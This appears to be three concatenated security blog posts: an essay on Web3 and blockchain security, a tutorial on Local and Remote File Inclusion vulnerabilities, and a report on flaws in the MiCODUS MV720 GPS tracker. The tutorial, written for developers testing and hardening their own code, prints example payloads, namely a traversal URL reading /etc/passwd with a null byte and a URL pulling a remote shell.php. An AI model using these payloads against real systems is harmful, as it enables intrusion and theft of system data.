A new threat is on the horizon.

And this new paradigm promises to be the most profound shift for security professionals since the dot-com boom of the nineties.

I’m talking about blockchains and decentralized economies in the 2020s

To get a sense for the scope of change in front of us, we need to take a trip down memory lane – to the advent of the internet.

During its infancy, the original internet was designed to be decentralized. With today’s tech giants looming large over every part of the internet, that’s kind of hard to believe. But it’s true. In the early days, the internet had a very practical purpose – to withstand a nuclear blast. Think about it: A network of computers all talking to each other from around the country do not have a single point of failure.

This decentralization turned to centralization as the 1990s went on. While your average internet user could, in theory, create their own webpage, most were bystanders who viewed already-made webpages instead. And while, in theory, you could still create your own email server today, the truth is that it’s a lot easier to just use Gmail. Hence the moving of the goal post ever so gradually toward centralization.

As the economy recovered from the wreckage of the dot-com boom and bust, the world embraced the internet and the economy huddled around Big Tech companies who successfully carved out their corner of the internet. Such as:

• Microsoft and its Windows operating system.
• Google and its search engine.
• Facebook and its social network.

The rise of these internet startups brought with them a new threat, and online security exploded.

Before Web 2.0 – the web we use today — thousands of users and businesses logged onto the first iteration of the web, wholly unaware of the tenuous security landscape.

Early antivirus software emerged, but its signature-based system produced false positives too often to be reliable.

Malware exploded from tens of thousands in the early nineties to more than 5 million by 2007. And, by the mid-nineties, it became clear that cybersecurity was needed on a scale never seen before. This gave rise to heuristic detection to cope with the influx of new threats.

As we move into the next iteration of the web – Web3 – we are on the cusp of another generational expansion — the expansion into cryptocurrencies and the blockchain revolution. And the similarities to the dot-com boom are uncanny.

In each era, you have a new tech with limitless potential that very few folks truly understand. You have thousands of companies popping up hoping to commercialize that new tech with crazy new ideas and a ton of money flowing into the space.

Most of the dot-com startups that sprouted up in the late 1990s were bankrupt by 2003. And many of the biggest companies during the internet bubble – companies like Cisco and Intel – have, indeed, gone on to change the world. Cryptocurrencies seem to be on the same trajectory, and they will likely change the landscape over the next two decades… for better or worse.

The Promise of Blockchain and Web3

For the hardcore Web3 proponent, the third coming of the internet is strictly about decentralization. 

The internet has come a long way since its inception. We’ve gone from a static, text-based web to a dynamic, multimedia one. But as the web has evolved, so too have the threats that emerge to exploit it.

In the early days of the internet, we used simple text-based interfaces to navigate the web. This was fine for basic information retrieval, but it quickly became clear that this approach was not going to be sufficient for the increasingly complex tasks we wanted to do online.

So, we developed graphical user interfaces (GUIs), making it possible to interact with the web in a more intuitive way. With a GUI, you could point and click your way around the internet, and even manipulate data in a more natural way.

Today, we want to do more than just retrieve information or buy products – we want to be able to interact with others, create and share content, and even earn money online. And we want to do it without compromising our security.

That’s the big promise of Web3 and blockchain.

Web3 is the next evolution of the internet, one that puts users first by giving them control over their own data and identity. With Web3, you can do all the things you’re used to doing online, but without having to give up your privacy or hand over your personal data to Big Tech companies.

Instead of being controlled by a few large corporations, Web3 is powered by the collective effort of its users. And because it’s based on decentralized technologies, Web3 is more resilient to censorship and shutdowns than the current internet.

Allegedly.

To understand Web3, we need to look at blockchain.

Thanks to Bitcoin and Ethereum — two of the world’s stalwart cryptocurrencies – “blockchain” has become a household term.

When Bitcoin first came on the scene, its promise was one of pure decentralization – send money without the need for profit-grabbing middlemen at the banks and keep everyone in check with digital incentives rather than regulations.

This technology has the potential to revolutionize how we create, store, and manage data. As such, with blockchain powering the next iteration of the internet, we’re on the precipice of a new internet that is –in theory – more secure, efficient, and transparent.

Why?

Well, at its core, blockchain is a decentralized ledger. It records transactions without the need for a central authority to update it. This ledger enables innately untrustworthy individuals and entities to collectively create trustworthy systems, without the need for any central authority – hence the term “disintermediation.”

Blockchain enables humans to remove the middleman from legacy systems and replace them with a collective ledger. By removing and replacing them with an automated and incorruptible technology, we can make today’s systems and processes more trustworthy, faster, and cheaper.

The applications here are theoretically infinite.

Even Visa, the legacy payments giant, is integrating blockchain technology.

Visa’s executives are betting on decentralized finance and blockchain as the future, and as such, as a major threat to payments business. To stay ahead of the curve, Visa’s R&D teams are creating their own blockchain interoperability hub, which promises to connect different blockchain networks into a single channel. This would facilitate the transfer of digital assets between different blockchains.

These isn’t an inconsequential idea. Interoperability in the blockchain world introduces a slew of security challenges, as this idea is critical to Web3 which aims to apply the main concepts from the blockchain to all aspects of your digital identity and life.

We can’t ignore the security “gaps” within the promise of blockchain decentralization. And these gaps become will become wider as more blockchains are created and interact with one another.

We’ll explore these threats in detail in Part 2.

#vicarius_blog #blockchain

There are two types of File Inclusion Vulnerabilities: Local File Inclusion (LFI) and Remote File Inclusion (RFI).

These inclusion vulnerabilities are very similar to Directory Traversal attack. I will explain more regarding the differences in the section below.

To perform this attack, the attacker needs to target an application with file saving logic and logic for retrieving files in UI. The logic for saving the file is crucial because that can be a way to access the target server files and then include it in the script from your machine. In theory, the logic for retrieving the file in UI is not crucial to perform this attack. Still, it is very important because the attacker can intercept the request, investigate, and check which information can be helpful for him to perform the attack. 

We will manipulate the parameter in URL, as we did before in one of the articles when explaining the Directory Traversal attack. 

LFI loads local files such as “etc/passwd,” but then, on the flip side, RFI can load from an external source outside the server.

*Why will you always find examples of these attacks using this plain text file “passwd”?

This file is handy cause it contains information such as the list of registered users (id, group id, home directory, etc.) And it can be accessed because it has read permission with the ability to map user ids to users’ names.

Difference between Directory Traversal and File Inclusion Vulnerabilities

In the Directory Traversal article, I gave simple examples of this attack and some prevention tricks you can use with JS, Angular, or C# libraries.

File Inclusion and Directory Traversal look very similar, but they have one huge difference: the possibility of executing files within the attack.

File inclusion vulnerabilities allow you to load and execute a file in the application. On the other hand, performing a directory traversal attack file is just reading the files.

I will give an example after in the text, but here I am just going to explain one case scenario so you can better understand:

In the application, we can browse to the file and save it. After investigating the GET request when returning the file, we see that the URL will be changed because it would contain the name of the file in it. That means we can manipulate the name and save it as a file path to a specific target file in our machine. That file can be .txt, PowerShell (.ps1), etc. The file will probably contain a script with malicious code, which will then be executed on the target server. That is an example of a Remote File Inclusion attack!

How to test if your application has File Inclusion Vulnerabilities?

It is essential to test the code while developing. In this case, the developer needs to test it by himself, not just using some of the tools I mentioned in the Directory Traversal article. Also, I think it is important to see if the attacker can access folders and files. Also, even if folders are restricted using permissions, the developer should test out if it can be easily bypassed.

Summary:

First step: While preventing this attack, you should know if your application gives you the possibility to access files (if it has file inclusion vulnerabilities)

Second step: Check if the attacker can access the file even with folder/file permissions.

Examples of Local File Inclusion

For example, we have an application that uses this input field to enter the file’s name, and by clicking on the Include button, the file will be uploaded.

When you successfully upload the file, and you preview it, the URL will change to this:

http://test.com/testController?file=test.php

The attacker starts by exploring how the code is written to understand the used logic and find information where the file is saved. 

We can start with “making a mistake” when trying to import a file because some warning or error would occur. When a warning or error occurs, that is often done by the response of an HTTP request. Each HTTP request is visible in Development Tools, and you can see the header, body, URL which hits, etc. The body is used when you send a payload; for example, this file we are trying to upload.

Then easily, you can check out the structure of the payload or what the API is expecting, so if you want to replace the structure with a malicious one, you will know how it will pass. 

*Note: You probably know that the structure of the object you are sending to API from UI needs to be the same as the object that API expects. If not, the mapping would not be successful, and you will not hit even the controller in API.

So, you first want to mistake and analyze what is returned error/warning message. 

As you can guess, we need to focus on error/warning messages.

We should try to catch all the exceptions and make them custom with some user-friendly message. With that implemented, you should avoid sending some information that would uncover sensitive information with the API. For example, which method is used, what is expected, file path, etc.

In one of the examples I found on the internet, I saw that even this message can be retrieved:

What information this warning message uncovers?

First, this is a PHP application that uses using include method. As stated on site W3Schools: “The include (or require) statement takes all the text/code/markup that exists in the specified file and copies it into the file that uses the include statement.”

This method tries copying some file with the name hi and giving it the extension “php.” File location is also visible: “/var/www/html”.

So, as you see, this warning uncovers so much information: 

• used method, so we know the logic of the application
• we need to bypass adding the extension 
• file path, so we know how many “../” we will use or how we will “walk” through the folders. You probably already guess that in this stage, we can use the Directory Traversal technique “../”.

What would the attacker use if we would like to manipulate and check out registered users in etc/passwd

http://test.com/testController?file=../../../../etc/passwd%00

%00 – null byte would be used for ignoring all characters after null byte, including extension.

If this passed successfully and passwd doesn’t have restricted permissions, the content would be readable, but if permissions are there, that is our next focus.

It is great that we didn’t forget to add permissions to files containing sensitive data, but it is very important to try to avoid permissions and see how safely we implemented them.

To test that, we could create test requests with Burp Suite or maybe use CURL, or Postman.

We should pay attention to testing credentials or cookies because sensitive data can be manipulated there.

In one of the following articles, I will cover best practices for implementing good credential and session management to avoid a problem with broken authentication. 

Examples of Remote File Inclusion

For this type of attack, we will save the file name that would be the file path to some malicious script on the attacker server.

This would be an example of a URL that targets malicious script on some domain.com site:

http://test.com/testController?file=http://domain.com/shell.php

So, this will save the path, and when the path is called, it will execute shell.php – a malicious script in which some code targets the system to extract some data. 

*Focus on validating inputs in UI, so the malicious input parameters don’t even get to the API!

Important reminder for using trusted third-party libraries for validation

If you check out the logic in libraries, you can see how to expand it to cover some specific cases for your application.

Modification can be done by creating a wrapper over the libraries class or even making some script with an extended logic.

Also, always check and upgrade the version of third-party libraries!

Conclusion

Prevention is very important to avoid these vulnerabilities, but testing is equally important.

If you are a software developer, you know that to be a good developer, you must also have developed testing skills as much as coding skills.

You should use all available tools to screen these types of vulnerabilities but remember that you should trust your knowledge the most!

Don’t forget to give the code to testers because the person writing the code can often overlook some cases. Mostly because while coding and trying to write secure code, they might assume that the attacker will attack in a certain way.

If you are a developer, the best practice is to always be familiar with new attack techniques.

In the end, secure code is the cheapest code!

#LFI #RFI #vicarius_blog

Cover photo by Kevin Ku

What if hackers took control of your car? This hypothetical has been floating around for decades as an illustrative example of what could happen when cyber attacks bleed into the physical world. The idea of being behind the wheel yet totally at the mercy of an invisible, malicious driver is terrifying to say the least. So I have some bad news: the hypothetical has become a reality.

Major Flaws Found in Popular Auto Tech

I am not the first person to observe that today’s cars are essentially computers on wheels. Highly digital and internet-connected, cars work basically like any other IT asset – except for the fact that they weigh a ton and go 100 miles per hour.

As cars have become increasingly digital, an aftermarket has developed for automotive tech that supplements the systems built into the car to increase performance, comfort, etc. GPS trackers are one example. Popular on fleet vehicles, GPS trackers record and report a vehicle’s location and, to varying degrees, control what the vehicle can do.

Cybersecurity researchers at BitSight recently evaluated one of these trackers: the MiCODUS MV720. They discovered significant security flaws. I will cover those in a second. But first, consider the potential risks of those flaws, as highlighted by the researchers:

• Injury or loss of life
• National security breaches
• Property damage
• Supply chain disruptions
• Individual or fleet-wide ransomware
• Surveillance and tracking

Any (or all) of these scenarios are possible because the flaws the researchers discovered allow hackers to gain administrative privileges over the trackers. Those privileges let them track vehicle locations (for who knows what nefarious purpose). Worse, these trackers give administrators the ability to disable the engine at will.

Hackers may not be able to drive the car off a bridge. But they can still cause ample chaos, put lots of lives at risk, and bring down an entire vehicle fleet all at once.

Eager to emphasize how alarming these flaws are, the researchers propose several possible exploits. Hackers could disable emergency vehicles en mass so that police and fire can’t respond. They could monitor when a vehicle is on a busy highway and cut power suddenly to cause a multi-car pileup. They could use tracking capabilities to surreptitiously spy on someone everywhere they go. Or they could disable a vehicle and demand a ransom to restore access. Unfortunately, this list barely begins to cover all that could go wrong when vehicles are a tool of cyber attacks.

Where Researchers Found Flaws

The six flaws found in the GPS trackers are worth reviewing for what they reveal about the flaws lurking in insecure connected devices (automotive or otherwise) and the tactics hackers use to exploit them:

• Hardcoded Password – Using a master password lets unauthenticated users take control of any tracker.
• Broker Authentication – Authentication issues let hackers exploit the API server to launch a man-in-the-middle attack.
• Default Password – Weak default passwords (123456) combined with no prompt or requirement to change them leave devices vulnerable.
• Reflected XSS – Taking control of a script in the victim’s browser gives the perpetrator the same data and permissions the exploited user has.
• 2 Insecure Direct Object References – Two different flaws in the web server permit hackers to alter and access information without authentication.

Perhaps more alarming than the flaws themselves is MiCODUS’ reaction when confronted with them: complete silence. Researchers made multiple attempts to share their findings with the developer, but all of those efforts were rebuffed, so they went to the Cybersecurity and Infrastructure Security Agency (CISA), but they have also been unsuccessful at engaging the vendor.

It’s one thing to sell insecure devices. It’s another thing to ignore those flaws – especially when the consequences are so severe.

The Frightening Evolution of Cyber Risk

We can draw lots of conclusions from this incident, about the pervasive vulnerability of connected devices, about the egregious disregard of developers, and about the unforeseen consequences of digitization.

But what jumps out to me about this story is what it says about the evolution of cyber risk. This is just one of several recent examples of cyber attacks putting human health and safety in danger. The stakes in cybersecurity are suddenly much higher. And escalating faster than ever given the recent rise of ransomware and state-sponsored hacking. To me, this looks like the trajectory of cyber risk taking a sharp turn upwards and moving into unprecedented territory. Which is all to say, if the flaws in the GPS tracker seem bad, just wait until these flaws exist in every part of the built world. Will anything be safe?

I have my own complicated opinions, but I’m eager to hear yours. What do you think are the new frontiers of cyber risk? Can we make these risks manageable, and how? When will we start to see automotive cyber attacks become commonplace?

Admittedly, I don’t have good answers to all these questions. But if we aren’t asking them, we are doing the same thing as MiCODUS: turning a blind eye to a problem staring us directly in the face.

#blog #cybersecurity #automotive #IoT #CISA #vicarius_blog